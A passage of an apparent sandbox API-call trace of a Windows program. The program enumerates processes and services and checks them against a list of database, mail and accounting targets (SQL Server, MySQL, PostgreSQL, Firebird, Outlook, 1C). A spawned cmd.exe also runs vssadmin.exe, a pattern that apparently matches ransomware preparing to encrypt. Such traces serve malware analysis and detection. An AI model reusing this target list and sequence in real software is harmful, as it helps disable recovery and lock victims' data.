th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.384] lstrlenW (lpString="System") returned 6 [0041.384] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.384] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.384] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.384] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.384] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.385] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.385] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.385] lstrlenW (lpString="smss.exe") returned 8 [0041.385] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.385] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.385] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.385] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.385] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.385] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.385] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.385] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.386] lstrlenW (lpString="csrss.exe") returned 9 [0041.386] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.386] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.386] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.386] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.386] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.387] lstrlenW (lpString="wininit.exe") returned 11 [0041.387] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.387] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.387] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0041.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0041.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0041.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0041.387] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.388] lstrlenW (lpString="csrss.exe") returned 9 [0041.388] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.388] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.388] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.388] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.389] lstrlenW (lpString="winlogon.exe") returned 12 [0041.389] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.390] lstrlenW (lpString="services.exe") returned 12 [0041.390] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.390] lstrlenW (lpString="lsass.exe") returned 9 [0041.390] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.391] lstrlenW (lpString="lsm.exe") returned 7 [0041.391] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.392] lstrlenW (lpString="svchost.exe") returned 11 [0041.392] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.392] lstrlenW (lpString="svchost.exe") returned 11 [0041.392] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.393] lstrlenW (lpString="svchost.exe") returned 11 [0041.393] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.393] lstrlenW (lpString="svchost.exe") returned 11 [0041.394] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.394] lstrlenW (lpString="svchost.exe") returned 11 [0041.394] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.395] lstrlenW (lpString="audiodg.exe") returned 11 [0041.395] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.395] lstrlenW (lpString="svchost.exe") returned 11 [0041.396] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.396] lstrlenW (lpString="svchost.exe") returned 11 [0041.396] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.397] lstrlenW (lpString="dwm.exe") returned 7 [0041.397] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.397] lstrlenW (lpString="explorer.exe") returned 12 [0041.397] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.398] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.398] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.399] lstrlenW (lpString="taskhost.exe") returned 12 [0041.399] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.400] lstrlenW (lpString="svchost.exe") returned 11 [0041.400] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.400] lstrlenW (lpString="taskeng.exe") returned 11 [0041.400] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.401] lstrlenW (lpString="taskhost.exe") returned 12 [0041.401] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0041.402] lstrlenW (lpString="promotesrouting.exe") returned 19 [0041.402] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0041.402] lstrlenW (lpString="rxcalled.exe") returned 12 [0041.402] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0041.403] lstrlenW (lpString="off.exe") returned 7 [0041.403] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0041.404] lstrlenW (lpString="mayorintl.exe") returned 13 [0041.404] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0041.404] lstrlenW (lpString="gzip-june.exe") returned 13 [0041.404] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0041.405] lstrlenW (lpString="lsnavy.exe") returned 10 [0041.405] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0041.405] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0041.406] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0041.406] lstrlenW (lpString="specifications.exe") returned 18 [0041.406] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0041.407] lstrlenW (lpString="soup-mario.exe") returned 14 [0041.407] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0041.407] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0041.408] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0041.408] lstrlenW (lpString="platformsprivate.exe") returned 20 [0041.408] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0041.409] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0041.409] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0041.410] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0041.410] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0041.410] lstrlenW (lpString="scan-allows.exe") returned 15 [0041.410] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0041.411] lstrlenW (lpString="mwprovince.exe") returned 14 [0041.411] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0041.411] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0041.412] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0041.412] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0041.412] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0041.413] lstrlenW (lpString="contacting.exe") returned 14 [0041.413] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0042.181] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0042.181] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0042.181] lstrlenW (lpString="jpmanagers.exe") returned 14 [0042.181] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0042.182] lstrlenW (lpString="motor.exe") returned 9 [0042.182] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0042.182] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0042.182] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0042.183] lstrlenW (lpString="toshiba.exe") returned 11 [0042.183] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0042.183] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0042.184] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0042.184] lstrlenW (lpString="mobsync.exe") returned 11 [0042.184] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0042.184] lstrlenW (lpString="dllhost.exe") returned 11 [0042.185] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0042.185] lstrlenW (lpString="dllhost.exe") returned 11 [0042.185] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0042.186] lstrlenW (lpString="3G6885.exe") returned 10 [0042.186] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0042.186] lstrlenW (lpString="cmd.exe") returned 7 [0042.186] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.187] lstrlenW (lpString="conhost.exe") returned 11 [0042.187] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0042.187] lstrlenW (lpString="vssadmin.exe") returned 12 [0042.187] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0042.188] CloseHandle (hObject=0x1a0) returned 1 [0042.188] Sleep (dwMilliseconds=0x1f4) [0044.009] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fe50 [0044.010] EnumServicesStatusExW (in: hSCManager=0x63fe50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0044.010] GetLastError () returned 0xea [0044.011] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x11e4) returned 0x5f92a0 [0044.011] EnumServicesStatusExW (in: hSCManager=0x63fe50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5f92a0, cbBufSize=0x11e4, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5f92a0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0044.012] CloseServiceHandle (hSCObject=0x63fe50) returned 1 [0044.012] lstrlenW (lpString="Appinfo") returned 7 [0044.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.012] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.012] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.012] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.012] lstrlenW (lpString="AudioSrv") returned 8 [0044.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.012] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.012] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.012] lstrlenW (lpString="BFE") returned 3 [0044.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.012] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.012] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.013] lstrlenW (lpString="CryptSvc") returned 8 [0044.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 